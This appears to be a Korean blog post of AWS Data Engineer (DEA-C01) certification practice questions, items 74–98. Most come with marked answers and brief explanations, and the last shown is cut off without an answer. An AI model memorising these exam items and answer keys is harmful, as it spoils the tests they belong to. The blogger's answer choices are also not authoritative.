데이터 엔지니어는 스트리밍 데이터를 처리할 솔루션을 찾아야 합니다. 데이터 엔지니어는 Amazon Redshift Serverless 웨어하우스에 데이터를 저장해야 합니다. 솔루션은 스트리밍 데이터와 전날 데이터의 거의 실시간 분석을 지원해야 합니다.
어떤 솔루션이 최소한의 운영 오버헤드로 이러한 요구 사항을 충족할까요?

  • A. Amazon Kinesis Data Firehose에 데이터를 로드합니다. Amazon Redshift에 데이터를 로드합니다.
  • B. Amazon Redshift의 스트리밍 수집 기능을 사용합니다.
  • C. Amazon S3에 데이터를 로드합니다. COPY 명령을 사용하여 Amazon Redshift에 데이터를 로드합니다.
  • D. Amazon Aurora 제로 ETL을 Amazon Redshift와 통합하여 사용합니다.

정답 : B

https://docs.aws.amazon.com/redshift/latest/dg/materialized-view-streaming-ingestion.html


75 .

데이터 엔지니어는 Amazon S3 버킷에 저장된 데이터에 대한 Amazon Athena 쿼리를 기반으로 하는 Amazon QuickSight 대시보드를 사용해야 합니다. 데이터 엔지니어가 QuickSight 대시보드에 연결하면 권한이 충분하지 않음을 나타내는 오류 메시지를 받습니다.
어떤 요인이 권한 관련 오류를 일으킬 수 있습니까? (두 가지를 선택하세요.)

  • A. QuickSight와 Athena 사이에는 아무런 연관성이 없습니다.
  • B. Athena 표는 카탈로그화되지 않았습니다.
  • C. QuickSight는 S3 버킷에 액세스할 수 없습니다.
  • D. QuickSight는 S3 데이터를 해독할 수 있는 권한이 없습니다.
  • E. QuickSight에 할당된 IAM 역할이 없습니다.

정답 : C, D

E 는 권한 부족 오류가 아니라 인증/권한 부여 오류가 발생할 것이다.

(https://docs.aws.amazon.com/quicksight/latest/user/troubleshoot-athena-insufficient-permissions.html)


76 . 

한 회사가 JSON 형식과 .csv 형식으로 데이터 세트를 Amazon S3 버킷에 저장합니다. 이 회사에는 Microsoft SQL Server 데이터베이스용 Amazon RDS, 프로비저닝 용량 모드의 Amazon DynamoDB 테이블, Amazon Redshift 클러스터가 있습니다. 데이터 엔지니어링 팀은 SQL과 유사한 구문을 사용하여 데이터 과학자가 모든 데이터 소스를 쿼리할 수 있는 솔루션을 개발해야 합니다.
어떤 솔루션이 최소한의 운영 오버헤드로 이러한 요구 사항을 충족할까요?

  • A. AWS Glue를 사용하여 데이터 소스를 크롤링합니다. AWS Glue Data Catalog에 메타데이터를 저장합니다. Amazon Athena를 사용하여 데이터를 쿼리합니다. 구조화된 데이터 소스에는 SQL을 사용합니다. JSON 형식으로 저장된 데이터에는 PartiQL을 사용합니다.
  • B. AWS Glue를 사용하여 데이터 소스를 크롤링합니다. AWS Glue Data Catalog에 메타데이터를 저장합니다. Redshift Spectrum을 사용하여 데이터를 쿼리합니다. 구조화된 데이터 소스에는 SQL을 사용합니다. JSON 형식으로 저장된 데이터에는 PartiQL을 사용합니다.
  • C. AWS Glue를 사용하여 데이터 소스를 크롤링합니다. AWS Glue Data Catalog에 메타데이터를 저장합니다. AWS Glue 작업을 사용하여 JSON 형식의 데이터를 Apache Parquet 또는 .csv 형식으로 변환합니다. 변환된 데이터를 S3 버킷에 저장합니다. Amazon Athena를 사용하여 S3 버킷에서 원본 데이터와 변환된 데이터를 쿼리합니다.
  • D. AWS Lake Formation을 사용하여 데이터 레이크를 만듭니다. Lake Formation 작업을 사용하여 모든 데이터 소스의 데이터를 Apache Parquet 형식으로 변환합니다. 변환된 데이터를 S3 버킷에 저장합니다. Amazon Athena 또는 Redshift Spectrum을 사용하여 데이터를 쿼리합니다.

정답 : A


77 .

데이터 엔지니어가 AWS Glue 대화형 세션을 사용하여 머신 러닝(ML) 모델을 위한 데이터를 준비하도록 Amazon SageMaker Studio를 구성하고 있습니다.
데이터 엔지니어가 SageMaker Studio를 사용하여 데이터를 준비하려고 하면 액세스 거부 오류가 발생합니다.
엔지니어가 SageMaker Studio에 액세스하려면 어떤 변경을 해야 합니까?

  • A. AWSGlueServiceRole 관리 정책을 데이터 엔지니어의 IAM 사용자에게 추가합니다.
  • B. 신뢰 정책의 AWS Glue 및 SageMaker 서비스 주체에 대한 sts:AssumeRole 작업을 포함하는 정책을 데이터 엔지니어의 IAM 사용자에게 추가합니다.
  • C. 데이터 엔지니어의 IAM 사용자에게 AmazonSageMakerFullAccess 관리 정책을 추가합니다.
  • D. 신뢰 정책에서 AWS Glue 및 SageMaker 서비스 주체에 대해 sts:AddAssociation 작업을 허용하는 정책을 데이터 엔지니어의 IAM 사용자에게 추가합니다.

정답 : B


78 .

한 회사는 SAP HANA, Microsoft SQL Server, MongoDB, Apache Kafka, Amazon DynamoDB와 같은 데이터 소스에서 매일 약 1TB의 데이터를 추출합니다. 일부 데이터 소스에는 정의되지 않은 데이터 스키마나 변경되는 데이터 스키마가 있습니다.
데이터 엔지니어는 이러한 데이터 소스의 스키마를 감지할 수 있는 솔루션을 구현해야 합니다. 솔루션은 데이터를 추출, 변환하고 Amazon S3 버킷에 로드해야 합니다. 이 회사는 데이터 생성 후 15분 이내에 S3 버킷에 데이터를 로드하기 위한 서비스 수준 계약(SLA)을 맺었습니다.
어떤 솔루션이 최소한의 운영 오버헤드로 이러한 요구 사항을 충족할까요?

  • A. Amazon EMR을 사용하여 스키마를 감지하고 데이터를 추출, 변환하고 S3 버킷에 로드합니다. Apache Spark에서 파이프라인을 만듭니다.
  • B. AWS Glue를 사용하여 스키마를 감지하고 데이터를 추출, 변환하고 S3 버킷에 로드합니다. Apache Spark에서 파이프라인을 만듭니다.
  • C. AWS Lambda에서 PySpark 프로그램을 만들어 데이터를 추출하고 변환하고 S3 버킷에 로드합니다.
  • D. Amazon Redshift에 저장된 프로시저를 만들어 스키마를 감지하고 데이터를 추출, 변환하고 Redshift Spectrum 테이블에 로드합니다. Amazon S3에서 테이블에 액세스합니다.

정답 : B


79 .

한 회사에 Amazon S3 버킷에 저장된 데이터 세트를 사용하는 여러 애플리케이션이 있습니다. 이 회사에는 개인 식별 정보(PII)가 포함된 데이터 세트를 생성하는 전자상거래 애플리케이션이 있습니다. 이 회사에는 PII에 액세스할 필요가 없는 내부 분석 애플리케이션이 있습니다.
규정을 준수하기 위해 이 회사는 불필요하게 PII를 공유해서는 안 됩니다. 데이터 엔지니어는 데이터 세트에 액세스하는 각 애플리케이션의 요구 사항에 따라 PII를 동적으로 삭제하는 솔루션을 구현해야 합니다.
어떤 솔루션이 운영 오버헤드를 최소화하면서 요구 사항을 충족할까요?

  • A. 각 애플리케이션의 액세스를 제한하기 위해 S3 버킷 정책을 만듭니다. 데이터 세트의 여러 복사본을 만듭니다. 각 데이터 세트 복사본에 복사본에 액세스하는 애플리케이션의 필요에 맞는 적절한 수준의 수정을 제공합니다.
  • B. S3 Object Lambda 엔드포인트를 만듭니다. S3 Object Lambda 엔드포인트를 사용하여 S3 버킷에서 데이터를 읽습니다. S3 Object Lambda 함수 내에서 편집 로직을 구현하여 데이터에 액세스하는 각 애플리케이션의 필요에 따라 PII를 동적으로 편집합니다.
  • C. AWS Glue를 사용하여 각 애플리케이션의 데이터를 변환합니다. 데이터세트의 여러 사본을 만듭니다. 각 데이터세트 사본에 사본에 액세스하는 애플리케이션의 요구 사항에 맞는 적절한 수준의 수정을 제공합니다.
  • D. 사용자 지정 권한 부여자가 있는 API Gateway 엔드포인트를 만듭니다. API Gateway 엔드포인트를 사용하여 S3 버킷에서 데이터를 읽습니다. 데이터에 액세스하는 각 애플리케이션의 필요에 따라 PII를 동적으로 수정하기 위해 REST API 호출을 시작합니다.

정답 : B


80 .

데이터 엔지니어는 추출, 변환 및 로드(ETL) 작업을 빌드해야 합니다. ETL 작업은 사용자가 Amazon S3 버킷에 업로드하는 매일 들어오는 .csv 파일을 처리합니다. 각 S3 객체의 크기는 100MB 미만입니다.
어떤 솔루션이 이러한 요구 사항을 가장 비용 효율적으로 충족할까요?

  • A. 사용자 정의 Python 애플리케이션을 작성합니다. Amazon Elastic Kubernetes Service(Amazon EKS) 클러스터에서 애플리케이션을 호스팅합니다.
  • B. PySpark ETL 스크립트를 작성합니다. Amazon EMR 클러스터에 스크립트를 호스팅합니다.
  • C. AWS Glue PySpark 작업을 작성합니다. Apache Spark를 사용하여 데이터를 변환합니다.
  • D. AWS Glue Python 셸 작업을 작성합니다. pandas를 사용하여 데이터를 변환합니다.

정답 : D

https://aws.amazon.com/ko/glue/pricing/

https://docs.aws.amazon.com/whitepapers/latest/aws-glue-best-practices-build-performant-data-pipeline/additional-considerations.html


81 .

데이터 엔지니어는 Orders라는 AWS Glue 크롤러를 사용하여 AWS Glue Data Catalog 테이블을 만듭니다. 데이터 엔지니어는 다음과 같은 새 파티션을 추가하려고 합니다.

s3://transactions/orders/order_date=2023-01-01
s3://transactions/orders/order_date=2023-01-02

데이터 엔지니어는 테이블 위치에 있는 모든 폴더와 파일을 스캔하지 않고도 메타데이터를 편집하여 테이블에 새 파티션을 포함해야 합니다. 데이터 엔지니어는 Amazon Athena에서 어떤 데이터 정의 언어(DDL) 문을 사용해야 합니까?

 

  • A. ALTER TABLE Orders ADD PARTITION(order_date=’2023-01-01’) LOCATION ‘s3://transactions/orders/order_date=2023-01-01’; ALTER TABLE Orders ADD PARTITION(order_date=’2023-01-02’) LOCATION ‘s3://transactions/orders/order_date=2023-01-02’;
  • B. MSCK REPAIR TABLE Orders;
  • C. REPAIR TABLE Orders;
  • D. ALTER TABLE Orders MODIFY PARTITION(order_date=’2023-01-01’) LOCATION ‘s3://transactions/orders/2023-01-01’; ALTER TABLE Orders MODIFY PARTITION(order_date=’2023-01-02’) LOCATION ‘s3://transactions/orders/2023-01-02’

정답 : A


82 .

한 회사가 Amazon S3에 10~15TB의 압축되지 않은 .csv 파일을 저장합니다. 이 회사는 Amazon Athena를 일회성 쿼리 엔진으로 평가하고 있습니다. 이 회사는 쿼리 런타임과 스토리지 비용을 최적화하기 위해 데이터를 변환하고자 합니다.

어떤 파일 형식과 압축 솔루션이 Athena 쿼리에 대한 이러한 요구 사항을 충족할까요?

  • A. zip으로 압축된 .csv 형식
  • B. bzip2로 압축된 JSON 포맷
  • C. Snappy로 압축된 Apache Parquet 형식
  • D. LZO로 압축된 Apache Avro 형식

정답 : C


83 .

한 회사가 Apache Airflow를 사용하여 회사의 현재 온프레미스 데이터 파이프라인을 조율합니다. 이 회사는 파이프라인의 일부로 SQL 데이터 품질 검사 작업을 실행합니다. 이 회사는 파이프라인을 AWS로 마이그레이션하고 AWS 관리 서비스를 사용하려고 합니다.

어떤 솔루션이 리팩토링을 가장 적게 하면서 이러한 요구 사항을 충족할까요?

  • A. 회사에서 Airflow를 사용하는 위치에 가장 가까운 AWS 리전에 AWS Outposts를 설정합니다. 서버를 Outposts 호스팅 Amazon EC2 인스턴스로 마이그레이션합니다. 파이프라인을 업데이트하여 온프레미스 파이프라인 대신 Outposts 호스팅 EC2 인스턴스와 상호 작용합니다.
  • B. Airflow 애플리케이션과 회사에서 마이그레이션해야 하는 코드가 포함된 사용자 지정 Amazon Machine Image(AMI)를 만듭니다. 사용자 지정 AMI를 사용하여 Amazon EC2 인스턴스를 배포합니다. 새로 배포된 EC2 인스턴스와 상호 작용하도록 네트워크 연결을 업데이트합니다.
  • C. 기존 Airflow 오케스트레이션 구성을 Amazon Managed Workflows for Apache Airflow(Amazon MWAA)로 마이그레이션합니다. 수집 중에 데이터 품질 검사를 만들어 Airflow에서 SQL 작업을 사용하여 데이터 품질을 검증합니다.
  • D. 파이프라인을 AWS Step Functions 워크플로로 변환합니다. Python 기반 AWS Lambda 함수로 SQL에서 데이터 품질 검사를 다시 만듭니다.

정답 : C


84 .

한 회사는 Amazon EMR을 추출, 변환 및 로드(ETL) 파이프라인으로 사용하여 여러 소스에서 온 데이터를 변환합니다. 데이터 엔지니어는 파이프라인을 조율하여 성능을 극대화해야 합니다.

어떤 AWS 서비스가 이 요구 사항을 가장 비용 효율적으로 충족할까요?

  • A. 아마존 이벤트브릿지
  • B. Apache Airflow를 위한 Amazon 관리 워크플로(Amazon MWAA)
  • C. AWS Step Functions
  • D. AWS Glue 워크플로

정답 : C

AWS Glue Workflows는 Glue 관련 ETL 작업을 조율하는 데 탁월하지만, AWS Step Functions는 더 큰 유연성, 더 광범위한 통합 기능, 효과적인 비용 관리로 인해 Amazon EMR 기반 ETL 파이프라인을 조율하는데 더 적합

  •  

85 .

온라인 리테일 회사가 Amazon S3 버킷에 Application Load Balancer(ALB) 액세스 로그를 저장합니다. 이 회사는 Amazon Athena를 사용하여 로그를 쿼리하여 트래픽 패턴을 분석하려고 합니다.

데이터 엔지니어가 Athena에서 분할되지 않은 테이블을 만듭니다. 데이터 양이 점차 증가함에 따라 쿼리에 대한 응답 시간도 증가합니다. 데이터 엔지니어는 Athena에서 쿼리 성능을 개선하려고 합니다.

어떤 솔루션이 최소한의 운영 노력으로 이러한 요구 사항을 충족할까요?

  • A. 모든 ALB 액세스 로그의 스키마를 확인하고 파티션 메타데이터를 AWS Glue 데이터 카탈로그에 쓰는 AWS Glue 작업을 생성합니다.
  • B. 모든 ALB 액세스 로그의 스키마를 결정하고 파티션 메타데이터를 AWS Glue 데이터 카탈로그에 쓰는 분류기를 포함하는 AWS Glue 크롤러를 생성합니다.
  • C. 모든 ALB 액세스 로그를 변환하는 AWS Lambda 함수를 만듭니다. 결과를 Apache Parquet 형식으로 Amazon S3에 저장합니다. 메타데이터를 분할합니다. Athena를 사용하여 변환된 데이터를 쿼리합니다.
  • D. Apache Hive를 사용하여 버킷 테이블을 만듭니다. AWS Lambda 함수를 사용하여 모든 ALB 액세스 로그를 변환합니다.

정답 : B


86 .

한 회사가 AWS에서 비즈니스 인텔리전스 플랫폼을 운영하고 있습니다. 이 회사는 AWS Storage Gateway Amazon S3 File Gateway를 사용하여 회사의 온프레미스 환경에서 Amazon S3 버킷으로 파일을 전송합니다.

데이터 엔지니어는 각 파일 전송이 성공적으로 완료되면 일련의 AWS Glue 작업을 실행하기 위해 AWS Glue 워크플로를 자동으로 시작하는 프로세스를 설정해야 합니다.

어떤 솔루션이 이러한 요구 사항을 가장 적은 운영 오버헤드로 충족할까요?

  • A. 이전에 성공한 파일 전송을 기준으로 파일 전송이 일반적으로 언제 끝나는지 확인합니다. 해당 시간에 AWS Glue 작업을 시작하도록 Amazon EventBridge 예약 이벤트를 설정합니다.
  • B. S3 파일 게이트웨이 파일 전송 이벤트가 성공적으로 완료될 때마다 AWS Glue 워크플로를 시작하는 Amazon EventBridge 이벤트를 설정합니다.
  • C. 데이터 엔지니어가 각 파일 전송이 완료되면 AWS Glue 워크플로를 시작할 수 있도록 주문형 AWS Glue 워크플로를 설정합니다.
  • D. AWS Glue Workflow를 호출하는 AWS Lambda 함수를 설정합니다. Lambda 함수의 트리거로 S3 객체 생성을 위한 이벤트를 설정합니다.

정답 : D

B 는 EventBridge 에서 S3 파일 게이트웨이 전송 이벤트를 받을 수 없으므로 제외한다.


87 .

소매업체는 Amazon Aurora PostgreSQL을 사용하여 실시간 거래 데이터를 처리하고 저장합니다. 이 회사는 데이터 웨어하우스에 Amazon Redshift 클러스터를 사용합니다.

매일 아침 추출, 변환 및 로드(ETL) 작업을 실행하여 PostgreSQL 데이터베이스의 새 데이터로 Redshift 클러스터를 업데이트합니다. 이 회사는 빠르게 성장했으며 Redshift 클러스터의 비용을 최적화해야 합니다.

데이터 엔지니어는 과거 데이터를 보관하기 위한 솔루션을 만들어야 합니다. 데이터 엔지니어는 PostgreSQL의 실시간 거래 데이터, Redshift의 현재 데이터 및 보관된 과거 데이터의 데이터를 효과적으로 결합하는 분석 쿼리를 실행할 수 있어야 합니다. 솔루션은 비용을 줄이기 위해 Amazon Redshift에 최근 15개월 분의 데이터만 보관해야 합니다.

이러한 요구 사항을 충족하는 단계 조합은 무엇입니까? (두 가지를 선택하십시오.)

  • A. PostgreSQL 데이터베이스에 있는 라이브 트랜잭션 데이터를 쿼리하기 위해 Amazon Redshift Federated Query 기능을 구성합니다.
  • B. PostgreSQL 데이터베이스에 있는 라이브 거래 데이터를 쿼리하도록 Amazon Redshift Spectrum을 구성합니다.
  • C. UNLOAD 명령을 사용하여 15개월 이상 된 데이터를 Amazon S3에 복사하는 월별 작업을 예약합니다. Redshift 클러스터에서 오래된 데이터를 삭제합니다. Amazon Redshift Spectrum을 구성하여 Amazon S3의 과거 데이터에 액세스합니다.
  • D. UNLOAD 명령을 사용하여 15개월 이상 된 데이터를 Amazon S3 Glacier Flexible Retrieval로 복사하는 월별 작업을 예약합니다. Redshift 클러스터에서 오래된 데이터를 삭제합니다. Redshift Spectrum을 구성하여 S3 Glacier Flexible Retrieval에서 과거 데이터에 액세스합니다.
  • E. 다양한 소스의 라이브, 현재, 과거 데이터를 결합하는 Amazon Redshift에서 구체화된 뷰를 만듭니다.

정답 : A, C

Federated Query 는 실시간 데이터베이스 데이터를 조회할 수 있고, Spectrum 은 S3 데이터들을 조회할 수 있다.

S3 클래스 중 Glacier Flexible Retrieval 과 Spectrum 은 연결이 불가능하다.


88 .

제조 회사는 전 세계 시설에 많은 IoT 기기를 보유하고 있습니다. 이 회사는 Amazon Kinesis Data Streams를 사용하여 기기에서 데이터를 수집합니다. 데이터에는 기기 ID, 캡처 날짜, 측정 유형, 측정 값, 시설 ID가 포함됩니다. 이 회사는 시설 ID를 파티션 키로 사용합니다.

이 회사의 운영 팀은 최근 많은 WriteThroughputExceeded 예외를 관찰했습니다. 운영 팀은 일부 샤드가 많이 사용되었지만 다른 샤드는 일반적으로 유휴 상태임을 발견했습니다.

이 회사는 운영 팀이 관찰한 문제를 어떻게 해결해야 할까요?

  • A. 시설 ID의 파티션 키를 무작위로 생성된 키로 변경합니다.
  • B. 샤드의 수를 늘립니다.
  • C. 생산자 측의 데이터를 보관합니다.
  • D. 시설 ID에서 캡처 날짜로 파티션 키를 변경합니다.

정답 : A

D 는 골고루 분산이 되지 않을 수 있다.


89 .

데이터 엔지니어는 판매 데이터 테이블에 대해 실행되는 Amazon Athena의 SQL 쿼리 성능을 개선하고자 합니다.
데이터 엔지니어는 특정 SQL 문의 실행 계획을 이해하고자 합니다. 또한 데이터 엔지니어는 SQL 쿼리에서 각 작업의 계산 비용을 보고자 합니다.
이러한 요구 사항을 충족하기 위해 데이터 엔지니어는 어떤 문을 실행해야 합니까?

  • A. EXPLAIN SELECT * FROM sales;
  • B. EXPLAIN ANALYZE FROM sales;
  • C. EXPLAIN ANALYZE SELECT * FROM sales;
  • D. EXPLAIN FROM sales;

정답 : C


90 .

한 회사가 VPC 내에서 로그 전달 스트림을 프로비저닝할 계획입니다. 이 회사는 VPC 흐름 로그를 Amazon CloudWatch Logs에 게시하도록 구성했습니다. 이 회사는 추가 분석을 위해 거의 실시간으로 Splunk에 흐름 로그를 보내야 합니다.

어떤 솔루션이 가장 적은 운영 오버헤드로 이러한 요구 사항을 충족할까요?

  • A. Splunk를 대상으로 사용하도록 Amazon Kinesis Data Streams 데이터 스트림을 구성합니다. CloudWatch Logs 구독 필터를 만들어 로그 이벤트를 데이터 스트림으로 보냅니다.
  • B. Splunk를 대상으로 사용하도록 Amazon Kinesis Data Firehose 전달 스트림을 만듭니다. CloudWatch Logs 구독 필터를 만들어 전달 스트림에 로그 이벤트를 보냅니다.
  • C. Splunk를 대상으로 사용하도록 Amazon Kinesis Data Firehose 전송 스트림을 만듭니다. CloudWatch Logs에서 전송 스트림으로 흐름 로그를 보내는 AWS Lambda 함수를 만듭니다.
  • D. Splunk를 대상으로 사용하도록 Amazon Kinesis Data Streams 데이터 스트림을 구성합니다. CloudWatch Logs에서 데이터 스트림으로 흐름 로그를 보내는 AWS Lambda 함수를 만듭니다.

정답 : B


91 .

한 회사가 AWS에 데이터 레이크를 두고 있습니다. 데이터 레이크는 사업부에서 데이터 소스를 수집합니다. 이 회사는 쿼리에 Amazon Athena를 사용합니다. 스토리지 계층은 메타데이터 저장소로 AWS Glue Data Catalog가 있는 Amazon S3입니다.
이 회사는 데이터 과학자와 비즈니스 분석가에게 데이터를 제공하고자 합니다. 그러나 이 회사는 먼저 사용자 역할과 책임에 따라 Athena에 대한 세분화된 열 수준 데이터 액세스를 관리해야 합니다.

어떤 솔루션이 이러한 요구 사항을 충족할까요?

  • A. AWS Lake Formation을 설정합니다. Lake Formation에서 IAM 역할에 따라 사용자 및 애플리케이션에 대한 보안 정책 기반 규칙을 정의합니다.
  • B. AWS Glue 테이블에 대한 IAM 리소스 기반 정책을 정의합니다. 동일한 정책을 IAM 사용자 그룹에 연결합니다.
  • C. AWS Glue 테이블에 대한 IAM ID 기반 정책을 정의합니다. 동일한 정책을 IAM 역할에 연결합니다. IAM 역할을 사용자를 포함하는 IAM 그룹과 연결합니다.
  • D. AWS Resource Access Manager(AWS RAM)에서 리소스 공유를 생성하여 IAM 사용자에게 액세스 권한을 부여합니다.

정답 : A


92 .

한 회사에서 Amazon S3의 데이터를 검증하고 변환하기 위해 여러 AWS Glue 추출, 변환 및 로드(ETL) 작업을 개발했습니다. ETL 작업은 매일 한 번씩 Amazon RDS for MySQL에 데이터를 일괄적으로 로드합니다. ETL 작업은 DynamicFrame을 사용하여 S3 데이터를 읽습니다. ETL 작업은 현재 S3 버킷에 있는 모든 데이터를 처리합니다. 그러나 회사는 작업이 일일 증분 데이터만 처리하기를 원합니다.

어떤 솔루션이 최소한의 코딩 작업으로 이 요구 사항을 충족할까요?

  • A. S3 파일 상태를 읽고 Amazon DynamoDB에 상태를 기록하는 ETL 작업을 생성합니다.
  • B. ETL 작업에 대한 작업 북마크를 활성화하여 실행 후 상태를 업데이트하고 이전에 처리된 데이터를 추적합니다.
  • C. Amazon CloudWatch에서 처리된 객체를 추적하는 데 도움이 되는 ETL 작업에 대한 작업 메트릭을 활성화합니다.
  • D. 각 실행 후 Amazon S3에서 처리된 객체를 삭제하도록 ETL 작업을 구성합니다.

정답 : B


93 .

온라인 리테일 회사에 VPC에 있는 Amazon EC2 인스턴스에서 실행되는 애플리케이션이 있습니다. 이 회사는 VPC에 대한 흐름 로그를 수집하고 네트워크 트래픽을 분석하려고 합니다.


이러한 요구 사항을 가장 비용 효율적으로 충족할 솔루션은 무엇입니까?

  • A. Amazon CloudWatch Logs에 흐름 로그를 게시합니다. 분석에는 Amazon Athena를 사용합니다.
  • B. Amazon CloudWatch Logs에 흐름 로그를 게시합니다. 분석을 위해 Amazon OpenSearch Service 클러스터를 사용합니다.
  • C. 텍스트 형식으로 Amazon S3에 흐름 로그를 게시합니다. 분석에는 Amazon Athena를 사용합니다.
  • D. Apache Parquet 형식으로 Amazon S3에 흐름 로그를 게시합니다. 분석에는 Amazon Athena를 사용합니다.

정답 : D


94 .

소매업체는 거래, 매장 위치, 고객 정보 테이블을 예약된 ra3.4xlarge Amazon Redshift 클러스터 노드 4개에 저장합니다. 세 테이블 모두 균등한 테이블 분포를 사용합니다. 이 회사는 몇 년에 한두 번만 매장 위치 테이블을 업데이트합니다.

데이터 엔지니어는 대부분의 쿼리에서 전체 매장 위치 테이블이 4개의 모든 컴퓨트 노드에 지속적으로 브로드캐스트되기 때문에 Redshift 대기열이 느려지고 있다는 것을 알아챘습니다. 데이터 엔지니어는 매장 위치 테이블의 브로드캐스트를 최소화하여 쿼리 성능을 높이고자 합니다.

어떤 솔루션이 가장 비용 효율적인 방식으로 이러한 요구 사항을 충족할까요?

  • A. 매장 위치 테이블의 배포 스타일을 EVEN 배포에서 ALL 배포로 변경합니다.
  • B. 가장 높은 차원을 갖는 열을 기준으로 매장 위치 테이블의 분포 스타일을 KEY 분포로 변경합니다.
  • C. 모든 테이블의 정렬 키에 store_id라는 조인 열을 추가합니다.
  • D. 동일한 인스턴스 패밀리에서 Redshift 예약 노드를 더 큰 인스턴스 크기로 업그레이드합니다.

정답 : A


95 .

회사에는 Sales라는 테이블이 포함된 데이터 웨어하우스가 있습니다. 회사는 Amazon Redshift에 테이블을 저장합니다. 테이블에는 city_name이라는 열이 포함되어 있습니다. 회사는 "San" 또는 "El"로 시작하는 city_name이 있는 모든 행을 찾기 위해 테이블을 쿼리하려고 합니다. 이 요구 사항을 충족하는 SQL 쿼리는 무엇입니까?

 

  • A. Select * from Sales where city_name ~ ‘$(San|El)*’;
  • B. Select * from Sales where city_name ~ ‘^(San|El)*’;
  • C. Select * from Sales where city_name ~’$(San&El)*’;
  • D. Select * from Sales where city_name ~ ‘^(San&El)*’;

정답 : B


96 .

회사에서 온프레미스 PostgreSQL 데이터베이스에서 AWS로 고객 통화 데이터를 보내 거의 실시간으로 통찰력을 얻어야 합니다. 솔루션은 PostgreSQL 데이터베이스에서 실행되는 운영 데이터 저장소에서 업데이트를 캡처하여 로드해야 합니다. 데이터는 지속적으로 변경됩니다.

데이터 엔지니어가 AWS Database Migration Service(AWS DMS) 지속적 복제 작업을 구성합니다. 이 작업은 각 테이블의 PostgreSQL 소스 데이터베이스 트랜잭션 로그에서 거의 실시간으로 변경 사항을 읽습니다. 그런 다음 이 작업은 처리를 위해 데이터를 Amazon Redshift 클러스터로 보냅니다.

데이터 엔지니어는 작업의 변경 데이터 캡처(CDC) 중에 지연 문제를 발견합니다. 데이터 엔지니어는 PostgreSQL 소스 데이터베이스가 높은 지연 시간의 원인이라고 생각합니다.

어떤 솔루션이 PostgreSQL 데이터베이스가 높은 지연 시간의 원인임을 확인할 수 있을까요?

  • A. Amazon CloudWatch를 사용하여 DMS 작업을 모니터링합니다. CDCIncomingChanges 메트릭을 조사하여 소스 데이터베이스에서 CDC의 지연을 식별합니다.
  • B. 소스 데이터베이스의 논리적 복제가 postgresql.conf 구성 파일에 구성되어 있는지 확인합니다.
  • C. 소스 데이터베이스의 DMS 엔드포인트에 대해 Amazon CloudWatch Logs를 활성화합니다. 오류 메시지를 확인합니다.
  • D. Amazon CloudWatch를 사용하여 DMS 작업을 모니터링합니다. CDCLatencySource 메트릭을 검사하여 소스 데이터베이스에서 CDC의 지연을 식별합니다.

정답 : D


97 .

실험실은 IoT 센서를 사용하여 프로젝트의 습도, 온도 및 압력을 모니터링합니다. 센서는 10초마다 100KB의 데이터를 전송합니다. 다운스트림 프로세스는 30초마다 Amazon S3 버킷에서 데이터를 읽습니다.

어떤 솔루션이 가장 짧은 지연 시간으로 S3 버킷에 데이터를 전달할까요?

  • A. Amazon Kinesis Data Streams와 Amazon Kinesis Data Firehose를 사용하여 S3 버킷에 데이터를 전달합니다. Kinesis Data Firehose에 대한 기본 버퍼 간격을 사용합니다.
  • B. Amazon Kinesis Data Streams를 사용하여 S3 버킷에 데이터를 전달합니다. 스트림을 구성하여 5개의 프로비저닝된 샤드를 사용합니다.
  • C. Amazon Kinesis Data Streams를 사용하고 Kinesis Client Library를 호출하여 S3 버킷에 데이터를 전달합니다. 애플리케이션에서 5초 버퍼 간격을 사용합니다.
  • D. Amazon Managed Service for Apache Flink(이전 명칭 Amazon Kinesis Data Analytics)와 Amazon Kinesis Data Firehose를 사용하여 S3 버킷에 데이터를 전달합니다. Kinesis Data Firehose에 5초 버퍼 간격을 사용합니다.

정답 : D


98 .

한 회사에서는 머신 러닝(ML)을 사용하여 Amazon S3 데이터 레이크에 있는 데이터에 대한 분석을 수행하려고 합니다. 이 회사에는 회사 내 소비자에게 보고서를 만들 수 있는 기능을 제공하는 두 가지 데이터 변환 요구 사항이 있습니다.

이 회사는 예약된 시간에 Amazon S3에 도착해야 하는 다양한 형식의 300GB 데이터에 대해 매일 변환을 수행해야 합니다. 이 회사는 S3 데이터 레이크에 있는 테라바이트 규모의 보관된 데이터에 대해 일회성 변환을 수행해야 합니다. 이 회사는 Amazon Managed Workflows for Apache Airflow(Amazon MWAA) Directed Acyclic Graphs(DAG)를 사용하여 처리를 조율합니다.

이 회사는 이러한 요구 사항을 가장 비용 효율적으로 충족하기 위해 Amazon MWAA DAG에 어떤 작업 조합을 예약해야 합니까? (두 가지를 선택하세요.)

  • A. 매일 들어오는 데이터의 경우 AWS Glue 크롤러를 사용하여 스키마를 스캔하고 식별합니다.
  • B. 매일 들어오는 데이터의 경우 Amazon Athena를 사용하여 스키마를 스캔하고 식별합니다.
  • C. 매일 들어오는 데이터의 경우 Amazon Redshift를 사용하여 변환을 수행합니다.
  • D. 일일 데이터와 보관된 데이터의 경우 Amazon EMR을 사용하여 데이터 변환을 수행합니다.
  • E. 보관된 데이터의 경우 Amazon SageMaker를 사용하여 데이터 변환을 수행합니다.

 

반응형

'인프라 > AWS' 카테고리의 다른 글

AWS DEA-C01 2  (0) 2025.01.27
AWS SCS-02  (0) 2025.01.27
AWS EBS & EFS  (0) 2024.09.03
AWS S3 정리  (6) 2024.09.01
AWS Step Functions  (0) 2024.08.20
반응형

 

01 .

회사에 더 큰 이미지에서 이미지 썸네일을 생성하는 AWS Lambda 함수가 있습니다. Lambda 함수는 동일한 AWS 계정의 Amazon S3 버킷에 대한 읽기 및 쓰기 액세스 권한이 필요합니다.
Lambda 함수에 이 액세스를 제공하는 솔루션은 무엇입니까? (두 가지를 선택합니다.)

  • A. 프로그래밍 방식의 액세스 권한만 있는 IAM 사용자를 생성합니다. 새 액세스 키 페어를 생성합니다. 액세스 키 ID 및 보안 액세스 키를 사용하여 Lambda 함수에 환경 변수를 추가합니다. Amazon S3와 통신하는 동안 런타임에 환경 변수를 사용하도록 Lambda 함수를 수정합니다.
  • B. Amazon EC2 키 페어를 생성합니다. AWS Secrets Manager에 프라이빗 키를 저장합니다. Secrets Manager에서 프라이빗 키를 검색하고 Amazon S3와 통신하는 동안 프라이빗 키를 사용하도록 Lambda 함수를 수정합니다.
  • C. Lambda 함수에 대한 IAM 역할을 생성합니다. S3 버킷에 대한 액세스를 허용하는 IAM 정책을 연결합니다.
  • D. Lambda 함수에 대한 IAM 역할을 생성합니다. S3 버킷에 버킷 정책을 연결하여 액세스를 허용합니다. 함수의 IAM 역할을 보안 주체로 지정합니다.
